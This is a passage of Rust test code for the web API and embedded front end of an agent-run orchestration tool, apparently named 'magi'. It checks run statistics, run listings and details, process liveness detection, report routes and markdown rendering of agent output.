11068 assert_eq!(alpha["absent"], 1);
11069 assert_eq!(alpha["strong"], 1);
11070 assert_eq!(alpha["faint"], 0);
11071 assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
11072 }
11073
11074 #[tokio::test]
11075 async fn stats_release_bumps_split_clean_from_attention() {
11076 use crate::run::ReleaseBump;
11077
11078 let f = Fixture::start().await;
11079
11080 let mut clean = RunState::new(
11081 PathBuf::from("/repo/magi"),
11082 "main".to_owned(),
11083 "0123456789abcdef".to_owned(),
11084 "task".to_owned(),
11085 Config::default(),
11086 );
11087 clean.id = "20260902-140501-a".to_owned();
11088 clean.status = RunStatus::Merged;
11089 clean.release_bump = Some(ReleaseBump {
11090 pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
11091 version: Some("1.0.0".to_owned()),
11092 automerge_enabled: true,
11093 merged_directly: false,
11094 local: false,
11095 release: None,
11096 problem: None,
11097 action_required: None,
11098 });
11099
11100 let mut blocked = RunState::new(
11101 PathBuf::from("/repo/magi"),
11102 "main".to_owned(),
11103 "0123456789abcdef".to_owned(),
11104 "task".to_owned(),
11105 Config::default(),
11106 );
11107 blocked.id = "20260902-140502-b".to_owned();
11108 blocked.status = RunStatus::Merged;
11109 blocked.release_bump = Some(ReleaseBump {
11110 pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
11111 version: Some("1.0.1".to_owned()),
11112 automerge_enabled: false,
11113 merged_directly: false,
11114 local: false,
11115 release: None,
11116 problem: Some("checks red".to_owned()),
11117 action_required: Some("look at the PR".to_owned()),
11118 });
11119
11120 for state in [&clean, &blocked] {
11121 let dir = f.runs().join(&state.id);
11122 std::fs::create_dir_all(&dir).expect("run dir");
11123 std::fs::write(
11124 dir.join("run.json"),
11125 serde_json::to_string_pretty(state).expect("serialize run"),
11126 )
11127 .expect("write run.json");
11128 }
11129
11130 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
11131 assert_eq!(bumps["merged"], 2);
11132 assert_eq!(bumps["recorded"], 2);
11133 assert_eq!(bumps["pr_opened"], 2);
11134 assert_eq!(bumps["automerge_enabled"], 1);
11135 assert_eq!(bumps["needs_attention"], 1);
11136 assert_eq!(bumps["clean"], 1);
11137 assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
11138 assert_eq!(bumps["attention_rate"]["pct"], 50.0);
11139 }
11140
11141 #[tokio::test]
11142 async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
11143 let f = Fixture::start().await;
11144 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
11145
11146 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
11147 assert_eq!(bumps["merged"], 1);
11148 assert_eq!(bumps["recorded"], 0);
11149 assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
11152 assert_eq!(bumps["automerge_rate"], Value::Null);
11155 assert_eq!(bumps["attention_rate"], Value::Null);
11156 }
11157
11158 #[tokio::test]
11159 async fn stats_queue_counts_come_from_the_live_queue() {
11160 let f = Fixture::start().await;
11161 let q = f.queue();
11162 let mut queued = Task::new(
11163 "queued task".to_owned(),
11164 "do it".to_owned(),
11165 PathBuf::from("/repo"),
11166 Source::Human,
11167 );
11168 q.put(&mut queued).expect("put queued");
11169 let mut held = Task::new(
11170 "held task".to_owned(),
11171 "do it later".to_owned(),
11172 PathBuf::from("/repo"),
11173 Source::Human,
11174 );
11175 held.hold_machine(Some("out of attempts".to_owned()));
11176 q.put(&mut held).expect("put held");
11177
11178 let queue = f.get("/api/stats").await.json()["queue"].clone();
11179 assert_eq!(queue["queued"], 1);
11180 assert_eq!(queue["held"], 1);
11181 assert_eq!(queue["running"], 0);
11182 assert_eq!(queue["done"], 0);
11183 assert_eq!(queue["failed"], 0);
11184 assert_eq!(queue["blocked"], 0);
11185 }
11186
11187 #[tokio::test]
11188 async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
11189 let f = Fixture::start().await;
11190 let stats = f.get("/api/stats").await;
11191 assert_eq!(stats.status, 200);
11192 assert_eq!(stats.json()["totals"]["runs"], 0);
11193 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
11194 assert_eq!(stats.json()["runs_unreadable"], 0);
11195 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
11196 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
11197 assert!(stats.json()["repos"].as_array().unwrap().is_empty());
11198 assert_eq!(stats.json()["repo"], Value::Null);
11199 }
11200
11201 #[tokio::test]
11202 async fn stats_lists_every_repository_with_runs_recorded() {
11203 let f = Fixture::start().await;
11204 write_run_repo(
11205 &f.runs(),
11206 "20260902-140501-a",
11207 RunStatus::Merged,
11208 "/repos/a",
11209 );
11210 write_run_repo(
11211 &f.runs(),
11212 "20260902-140502-b",
11213 RunStatus::Merged,
11214 "/repos/a",
11215 );
11216 write_run_repo(
11217 &f.runs(),
11218 "20260902-140503-c",
11219 RunStatus::Blocked,
11220 "/repos/b",
11221 );
11222
11223 let stats = f.get("/api/stats").await;
11224 assert_eq!(stats.status, 200);
11225 assert_eq!(stats.json()["totals"]["runs"], 3);
11227 assert_eq!(stats.json()["repo"], Value::Null);
11228
11229 let repos = stats.json()["repos"].clone();
11230 let repos = repos.as_array().unwrap();
11231 assert_eq!(repos.len(), 2);
11232 assert_eq!(repos[0]["repo"], "/repos/a");
11234 assert_eq!(repos[0]["name"], "a");
11235 assert_eq!(repos[0]["runs"], 2);
11236 assert_eq!(repos[1]["repo"], "/repos/b");
11237 assert_eq!(repos[1]["runs"], 1);
11238 }
11239
11240 #[tokio::test]
11241 async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
11242 let f = Fixture::start().await;
11243 write_run_repo(
11244 &f.runs(),
11245 "20260902-140501-a",
11246 RunStatus::Merged,
11247 "/repos/a",
11248 );
11249 write_run_repo(
11250 &f.runs(),
11251 "20260902-140502-b",
11252 RunStatus::Blocked,
11253 "/repos/b",
11254 );
11255
11256 let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
11257 assert_eq!(stats.status, 200);
11258 assert_eq!(stats.json()["totals"]["runs"], 1);
11259 assert_eq!(stats.json()["totals"]["merged"], 1);
11260 assert_eq!(stats.json()["repo"], "/repos/a");
11261 assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
11264 assert_eq!(stats.json()["runs_unreadable"], 0);
11267 }
11268
11269 #[tokio::test]
11270 async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
11271 let f = Fixture::start().await;
11272 write_run_repo(
11273 &f.runs(),
11274 "20260902-140501-a",
11275 RunStatus::Merged,
11276 "/repos/a",
11277 );
11278 write_run_repo(
11279 &f.runs(),
11280 "20260902-140502-b",
11281 RunStatus::Merged,
11282 "/repos/b",
11283 );
11284
11285 for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
11286 let json = f.get(uri).await.json();
11287 let daily = json["daily"].as_array().expect("daily is an array");
11288 assert_eq!(daily.len(), 30);
11289 let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
11290 let mut sorted = dates.clone();
11291 sorted.sort();
11292 assert_eq!(dates, sorted);
11293 for d in daily {
11294 assert_eq!(
11295 d["merged"].as_u64().unwrap()
11296 + d["ready"].as_u64().unwrap()
11297 + d["other"].as_u64().unwrap(),
11298 d["runs"].as_u64().unwrap()
11299 );
11300 }
11301 assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
11302 }
11303 }
11304
11305 #[tokio::test]
11306 async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
11307 let f = Fixture::start().await;
11308 write_run_repo(
11309 &f.runs(),
11310 "20260902-140501-a",
11311 RunStatus::Merged,
11312 "/repos/a",
11313 );
11314
11315 let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
11316 assert_eq!(stats.status, 404);
11317 }
11318
11319 #[tokio::test]
11320 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
11321 let f = Fixture::start().await;
11322 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
11323
11324 let summary = f.get("/api/runs").await.json();
11325 let row = &summary[0];
11326 assert_eq!(row["short"], "a1b2");
11327 assert_eq!(row["status"], "ready");
11328 assert_eq!(row["done"], true);
11329 assert_eq!(row["title"], "Add a web UI");
11330 assert_eq!(row["repo_name"], "magi");
11331 assert_eq!(row["judges"], 3);
11332 assert_eq!(row["winner"], Value::Null);
11333 assert_eq!(row["reviews"], 0);
11334
11335 let detail = f.get("/api/runs/a1b2").await;
11338 assert_eq!(detail.status, 200);
11339 assert_eq!(detail.json()["base_branch"], "main");
11340 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
11341 }
11342
11343 #[tokio::test]
11351 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
11352 let f = Fixture::start().await;
11353
11354 let mut none_run = RunState::new(
11355 PathBuf::from("/repo/magi"),
11356 "main".to_owned(),
11357 "0123456789abcdef".to_owned(),
11358 "Add a web UI".to_owned(),
11359 Config::default(),
11360 );
11361 none_run.id = "20260902-140503-none".to_owned();
11362 none_run.status = RunStatus::Ready;
11363 none_run.merge = Some(crate::run::MergeOutcome {
11364 mode: crate::config::MergeMode::None,
11365 ok: true,
11366 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
11367 empty: false,
11368 });
11369 write_state(&f.runs(), &none_run);
11370
11371 let mut pr_run = RunState::new(
11372 PathBuf::from("/repo/magi"),
11373 "main".to_owned(),
11374 "0123456789abcdef".to_owned(),
11375 "Add a web UI".to_owned(),
11376 Config::default(),
11377 );
11378 pr_run.id = "20260902-140504-prcl".to_owned();
11379 pr_run.status = RunStatus::Ready;
11380 pr_run.merge = Some(crate::run::MergeOutcome {
11381 mode: crate::config::MergeMode::Pr,
11382 ok: false,
11383 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
11384 empty: false,
11385 });
11386 write_state(&f.runs(), &pr_run);
11387
11388 let summary = f.get("/api/runs").await.json();
11389 let rows: std::collections::HashMap<&str, &Value> = summary
11390 .as_array()
11391 .expect("an array")
11392 .iter()
11393 .map(|r| (r["id"].as_str().expect("an id"), r))
11394 .collect();
11395 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
11396 assert_eq!(
11397 rows[none_run.id.as_str()]["unmerged_by_design"],
11398 true,
11399 "a mode-none Ready must be flagged in the list"
11400 );
11401 assert_eq!(
11402 rows[pr_run.id.as_str()]["unmerged_by_design"],
11403 false,
11404 "a Ready reached by a closed pull request is a different case"
11405 );
11406
11407 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
11408 assert_eq!(none_detail["status"], "ready");
11409 assert_eq!(none_detail["unmerged_by_design"], true);
11410
11411 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
11412 assert_eq!(pr_detail["unmerged_by_design"], false);
11413 }
11414
11415 #[tokio::test]
11420 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
11421 let f = Fixture::start().await;
11422 let id = "20260902-140502-bbbb";
11426 let mut state = RunState::new(
11427 PathBuf::from("/repo/magi"),
11428 "main".to_owned(),
11429 "0123456789abcdef".to_owned(),
11430 "Add a web UI".to_owned(),
11431 Config::default(),
11432 );
11433 state.id = id.to_owned();
11434 state.status = RunStatus::Judging;
11435 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
11436 let dir = f.runs().join(id);
11437 std::fs::create_dir_all(&dir).expect("run dir");
11438 std::fs::write(
11439 dir.join("run.json"),
11440 serde_json::to_string_pretty(&state).expect("serialize run"),
11441 )
11442 .expect("write run.json");
11443
11444 let cold = f.get(&format!("/api/runs/{id}")).await.json();
11450 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
11451 assert_eq!(cold["live"], "unknown", "{cold}");
11452
11453 write_daemon(f.home.path(), Timestamp::now());
11456 let warm = f.get(&format!("/api/runs/{id}")).await.json();
11457 assert_eq!(warm["live"], "live", "{warm}");
11458 }
11459
11460 #[tokio::test]
11463 async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
11464 let f = Fixture::start().await;
11465 let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
11466 let mut state = RunState::new(
11467 PathBuf::from("/repo/magi"),
11468 "main".to_owned(),
11469 "0123456789abcdef".to_owned(),
11470 "Add a web UI".to_owned(),
11471 Config::default(),
11472 );
11473 state.id = id.to_owned();
11474 state.origin = origin;
11475 let mut value = serde_json::to_value(&state).expect("serialize run");
11476 if let Some(schema) = schema {
11477 value["schema"] = serde_json::json!(schema);
11478 value.as_object_mut().unwrap().remove("origin");
11479 }
11480 let dir = f.runs().join(id);
11481 std::fs::create_dir_all(&dir).expect("run dir");
11482 std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
11483 };
11484 write(
11485 "20260930-092817-ec34",
11486 Some(crate::run::Origin::from_agent_env(
11487 Some(("4a7b".to_owned(), "chat".to_owned())),
11488 None,
11489 )),
11490 None,
11491 );
11492 write("20260930-092817-0ld1", None, Some(12));
11493
11494 let new = f.get("/api/runs/20260930-092817-ec34").await.json();
11495 assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
11496 assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
11497
11498 let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
11499 assert_eq!(
11500 old["origin_label"], "origin unknown (started before origins were recorded)",
11501 "{old}"
11502 );
11503 assert!(old["origin"].is_null(), "{old}");
11504
11505 let list = f.get("/api/runs").await.json();
11506 let labels: Vec<_> = list
11507 .as_array()
11508 .unwrap()
11509 .iter()
11510 .map(|r| r["origin_label"].as_str().unwrap().to_owned())
11511 .collect();
11512 assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
11513 }
11514
11515 #[tokio::test]
11522 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
11523 let f = Fixture::start().await;
11524 let id = "20260922-090000-cccc";
11525 let mut state = RunState::new(
11526 PathBuf::from("/repo/magi"),
11527 "main".to_owned(),
11528 "0123456789abcdef".to_owned(),
11529 "Review only".to_owned(),
11530 Config::default(),
11531 );
11532 state.id = id.to_owned();
11533 state.status = RunStatus::Reviewing;
11534 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
11535 state.driver_pid = Some(std::process::id());
11541 state.driver_started_at = Some(
11542 crate::proc::process_started_at(std::process::id())
11543 .expect("this test process's own start time must be queryable"),
11544 );
11545 let dir = f.runs().join(id);
11546 std::fs::create_dir_all(&dir).expect("run dir");
11547 std::fs::write(
11548 dir.join("run.json"),
11549 serde_json::to_string_pretty(&state).expect("serialize run"),
11550 )
11551 .expect("write run.json");
11552
11553 let detail = f.get(&format!("/api/runs/{id}")).await.json();
11554 assert_eq!(detail["live"], "live", "{detail}");
11555 }
11556
11557 #[tokio::test]
11563 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
11564 let f = Fixture::start().await;
11565 let id = "20260922-090100-dddd";
11566 let mut state = RunState::new(
11567 PathBuf::from("/repo/magi"),
11568 "main".to_owned(),
11569 "0123456789abcdef".to_owned(),
11570 "Review only".to_owned(),
11571 Config::default(),
11572 );
11573 state.id = id.to_owned();
11574 state.status = RunStatus::Reviewing;
11575 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
11576 state.driver_pid = Some(std::process::id());
11581 state.driver_started_at = Some("1".to_owned());
11582 let dir = f.runs().join(id);
11583 std::fs::create_dir_all(&dir).expect("run dir");
11584 std::fs::write(
11585 dir.join("run.json"),
11586 serde_json::to_string_pretty(&state).expect("serialize run"),
11587 )
11588 .expect("write run.json");
11589
11590 let detail = f.get(&format!("/api/runs/{id}")).await.json();
11591 assert_eq!(detail["live"], "dead", "{detail}");
11592 }
11593
11594 #[test]
11598 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
11599 let mk = |id: &str, pid: Option<u32>| {
11600 let mut s = RunState::new(
11601 PathBuf::from("/repo/magi"),
11602 "main".to_owned(),
11603 "0123456789abcdef".to_owned(),
11604 "Add a web UI".to_owned(),
11605 Config::default(),
11606 );
11607 s.id = id.to_owned();
11608 s.driver_pid = pid;
11609 s.driver_started_at = Some("1790000000".to_owned());
11610 s
11611 };
11612 let states = vec![
11613 mk("20260902-140502-aaaa", Some(77)),
11614 mk("20260902-140502-bbbb", Some(77)),
11615 mk("20260902-140502-cccc", Some(77)),
11616 mk("20260902-140502-dddd", None),
11617 ];
11618 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
11619 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
11620 let sup: HashMap<String, String> = [(
11621 "20260902-140502-aaaa".to_owned(),
11622 "20260902-140502-cccc".to_owned(),
11623 )]
11624 .into();
11625
11626 let status_calls = std::cell::Cell::new(0);
11627 let identity_calls = std::cell::Cell::new(0);
11628 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
11629 |_| {
11630 status_calls.set(status_calls.get() + 1);
11631 Some(true)
11632 },
11633 |_| {
11634 identity_calls.set(identity_calls.get() + 1);
11635 Some("1790000000".to_owned())
11636 },
11637 ));
11638 let rows = summarize(
11639 states,
11640 &open,
11641 &claimed,
11642 &sup,
11643 |p| probe.borrow_mut().status(p),
11644 |p| probe.borrow_mut().started_at(p),
11645 );
11646
11647 assert_eq!(status_calls.get(), 1, "one pid, one status query");
11648 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
11649 assert_eq!(rows.len(), 4);
11650 assert!(!rows[0].waiting && rows[1].waiting);
11651 assert_eq!(rows[0].live, crate::run::Liveness::Live);
11652 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
11653 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
11654 assert_eq!(rows[1].superseded_by, None);
11655 }
11656
11657 #[test]
11658 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
11659 let mut state = RunState::new(
11660 PathBuf::from("/repo/magi"),
11661 "main".to_owned(),
11662 "0123456789abcdef".to_owned(),
11663 "Review only".to_owned(),
11664 Config::default(),
11665 );
11666 state.id = "20260922-090200-dead".to_owned();
11667 state.status = RunStatus::Reviewing;
11668 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
11669 .expect("serialize list row");
11670 assert_eq!(row["status"], "reviewing");
11671 assert_eq!(row["live"], "dead", "{row}");
11672 assert!(!row["done"].as_bool().unwrap());
11673 }
11674
11675 #[tokio::test]
11676 async fn the_run_list_is_newest_first_and_honours_a_limit() {
11677 let f = Fixture::start().await;
11678 for id in [
11679 "20260902-140501-aaaa",
11680 "20260902-140502-bbbb",
11681 "20260902-140503-cccc",
11682 ] {
11683 write_run(&f.runs(), id, RunStatus::Merged);
11684 }
11685
11686 let all = f.get("/api/runs").await.json();
11687 let capped = f.get("/api/runs?limit=2").await.json();
11688
11689 assert_eq!(all[0]["id"], "20260902-140503-cccc");
11690 assert_eq!(all.as_array().map(Vec::len), Some(3));
11691 assert_eq!(capped.as_array().map(Vec::len), Some(2));
11692 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
11693 }
11694
11695 #[tokio::test]
11696 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
11697 let f = Fixture::start().await;
11698 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
11699
11700 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
11701
11702 assert_eq!(res.status, 200);
11703 assert!(
11704 res.headers
11705 .contains("content-type: text/plain; charset=utf-8"),
11706 "a browser must render it, not download it: {}",
11707 res.headers
11708 );
11709 assert!(
11713 res.body.contains("20260902-140501-a1b2"),
11714 "the report is about the run that was asked for: {}",
11715 res.body
11716 );
11717 }
11718
11719 #[tokio::test]
11720 async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
11721 crate::run::pin_test_home();
11723 let f = Fixture::start().await;
11724 let id = "20260902-140501-a1b2";
11725 write_run(&f.runs(), id, RunStatus::Stalled);
11726 let path = f.runs().join(id).join("run.json");
11729 let mut v: serde_json::Value =
11730 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
11731 v["tally"] = serde_json::json!({
11732 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
11733 "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
11734 "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
11735 "met_quorum": false, "rankings": 1
11736 });
11737 v["reviews"] = serde_json::json!([{
11738 "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
11739 "e2e_deferred": true,
11740 "reviews": [{"reviewer": 1, "agent": "a", "findings": [
11741 {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
11742 ]}]
11743 }]);
11744 std::fs::write(&path, v.to_string()).unwrap();
11745 write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
11746 std::fs::write(
11747 f.runs().join("20260902-140502-dead").join("run.json"),
11748 "{not json",
11749 )
11750 .unwrap();
11751
11752 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
11753
11754 assert_eq!(res.status, 200, "{}", res.body);
11755 assert!(res.headers.contains("content-type: application/json"));
11756 let j = res.json();
11757 assert_eq!(j["schema"], 1);
11758 assert_eq!(j["header"]["id"], id);
11759 assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
11760 let kinds: Vec<&str> = j["sections"]
11761 .as_array()
11762 .unwrap()
11763 .iter()
11764 .map(|s| s["kind"].as_str().unwrap())
11765 .collect();
11766 assert_eq!(kinds, ["candidates", "tally", "review"]);
11767 let tally = &j["sections"][1]["tally"];
11768 assert_eq!(
11769 (tally["decided"].clone(), tally["provisional"].clone()),
11770 (false.into(), true.into())
11771 );
11772 let round = &j["sections"][2]["rounds"][0];
11773 assert_eq!(round["e2e"]["state"], "deferred");
11774 assert_eq!(round["findings"][0]["severity"], "major");
11775 assert_eq!(round["findings"][0]["blocking"], true);
11776 assert_eq!(round["findings"][0]["state"], "open");
11777
11778 assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
11780
11781 let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
11783 assert_ne!(bad.status, 200, "{}", bad.body);
11784 assert_eq!(
11785 bad.status,
11786 f.get("/api/runs/20260902-140502-dead/report").await.status
11787 );
11788 assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
11789 assert_eq!(
11790 f.get("/api/runs/20260902-999999-ffff/report.json")
11791 .await
11792 .status,
11793 404
11794 );
11795 }
11796
11797 #[tokio::test]
11798 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
11799 let f = Fixture::start().await;
11800
11801 let html = f.get("/").await;
11802 let css = f.get("/app.css").await;
11803 let js = f.get("/app.js").await;
11804
11805 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
11806 assert!(
11807 html.headers
11808 .contains("content-type: text/html; charset=utf-8")
11809 );
11810 assert!(css.headers.contains("content-type: text/css"));
11811 assert!(js.headers.contains("content-type: text/javascript"));
11812 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
11813 }
11814
11815 #[test]
11816 fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
11817 let body = |name: &str| {
11818 let at = APP_JS
11819 .find(name)
11820 .unwrap_or_else(|| panic!("{name} missing"));
11821 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
11822 };
11823 assert!(body("function roundRail").contains("if (round <= 0) return null;"));
11824 let note = body("function landRoundNote");
11825 assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
11826 assert!(note.contains("Land round ${round}"));
11827 let land = body("function renderLand");
11828 let note_at = land
11829 .find("landRoundNote(pr)")
11830 .expect("renderLand uses the note");
11831 assert!(
11832 note_at
11833 < land
11834 .find("roundRail(pr)")
11835 .expect("renderLand uses the rail")
11836 );
11837 }
11838
11839 #[test]
11840 fn the_runs_page_redesign_keeps_its_guards() {
11841 let body = |name: &str| {
11842 let at = APP_JS
11843 .find(name)
11844 .unwrap_or_else(|| panic!("{name} missing"));
11845 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
11846 };
11847 let land = body("function renderLand");
11849 let land = &land[..land.find("function followupList").unwrap_or(land.len())];
11850 assert!(
11851 !land.contains("box.append("),
11852 "renderLand must use append()"
11853 );
11854 assert!(land.contains("append(box, ["));
11855 assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
11857 assert!(
11858 body("function applyRoute")
11859 .contains("route.name !== state.route.name || route.id !== state.route.id")
11860 );
11861 assert!(!APP_JS.contains("adviseConvergeDiagram"));
11863 assert!(!INDEX_HTML.contains("advise-converge"));
11864 assert!(INDEX_HTML.contains("id=\"advise-strip\""));
11865 assert!(APP_JS.contains("provisional"));
11866 for id in [
11867 "run-tab-overview",
11868 "run-tab-timeline",
11869 "run-tab-report",
11870 "run-report",
11871 "runs-scope",
11872 ] {
11873 assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
11874 }
11875 assert!(!INDEX_HTML.contains("runs-tree"));
11876 assert!(!INDEX_HTML.contains("run-raw-panel"));
11877 assert!(APP_JS.contains("resume"));
11879 assert!(APP_JS.contains("unreadable"));
11881 }
11882
11883 #[test]
11884 fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
11885 assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
11886 assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
11887 assert!(APP_JS.contains("setText(\n $(\"stats-unreadable-text\")"));
11888 assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
11889 assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
11890 assert!(APP_JS.contains("unreadable` : null"));
11892 }
11893
11894 #[test]
11895 fn the_run_detail_payload_says_whether_the_run_is_done() {
11896 for (status, done) in [
11898 (RunStatus::Superseded, true),
11899 (RunStatus::Blocked, true),
11900 (RunStatus::Landing, false),
11901 ] {
11902 let mut state = RunState::new(
11903 std::path::PathBuf::from("/repo"),
11904 "main".to_owned(),
11905 "abc".to_owned(),
11906 "x".to_owned(),
11907 crate::config::Config::default(),
11908 );
11909 state.status = status;
11910 let v = serde_json::to_value(RunDetailView::of(
11911 state,
11912 crate::run::Liveness::Unknown,
11913 None,
11914 None,
11915 None,
11916 ))
11917 .unwrap();
11918 assert_eq!(v["done"], done, "{status:?}");
11919 }
11920 }
11921
11922 fn has_strong(nodes: &[md::Node]) -> bool {
11924 serde_json::to_string(nodes).unwrap().contains("strong")
11925 }
11926
11927 #[test]
11928 fn the_run_detail_payload_carries_markdown_for_agent_prose() {
11929 let mut state = RunState::new(
11930 std::path::PathBuf::from("/repo"),
11931 "main".to_owned(),
11932 "abc".to_owned(),
11933 "x".to_owned(),
11934 crate::config::Config::default(),
11935 );
11936 let proposal = |approach: &str| {
11937 serde_json::json!({
11938 "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
11939 })
11940 };
11941 state.advice = Some(
11942 serde_json::from_value(serde_json::json!({
11943 "records": [
11944 {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
11945 "proposal": proposal("do **this**")},
11946 {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
11947 ],
11948 "synthesis": "- one\n- **two**\n\n`code`",
11949 }))
11950 .unwrap(),
11951 );
11952 state.candidates = serde_json::from_value(serde_json::json!([
11953 {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
11954 "summary": "did **it**"},
11955 {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
11956 ]))
11957 .unwrap();
11958 state.reviews = serde_json::from_value(serde_json::json!([{
11961 "round": 1, "head": "h",
11962 "reviews": [{
11963 "reviewer": 1, "agent": "a", "summary": "sum **mary**",
11964 "findings": [
11965 {"severity": "nit", "title": "t1", "detail": "plain nit"},
11966 {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
11967 ],
11968 }],
11969 "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
11970 "fix": {"agent": "a", "notes": "fixed **it**",
11971 "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
11972 }, {"round": 2, "head": "h2", "reviews": []}]))
11973 .unwrap();
11974
11975 let v = serde_json::to_value(RunDetailView::of(
11976 state,
11977 crate::run::Liveness::Unknown,
11978 None,
11979 None,
11980 None,
11981 ))
11982 .unwrap();
11983
11984 let strong = |p: &str| {
11985 let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
11986 assert!(n.to_string().contains("strong"), "{p}: {n}");
11987 };
11988 strong("/advice_md/synthesis");
11989 assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
11990 assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
11991 strong("/advice_md/approaches/0");
11992 assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
11993 strong("/candidate_summaries_md/0");
11994 assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
11995 strong("/reviews_md/0/reviewers/0/summary");
11996 let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
11997 assert!(!f[0].to_string().contains("strong"), "recorded order kept");
11998 assert!(f[1].to_string().contains("strong"));
11999 strong("/reviews_md/0/reconsideration/0");
12000 strong("/reviews_md/0/fix/notes");
12001 strong("/reviews_md/0/fix/rejected/0");
12002 assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
12003 assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
12004 assert_eq!(v["candidates"][0]["summary"], "did **it**");
12006 assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
12007 }
12008
12009 #[test]
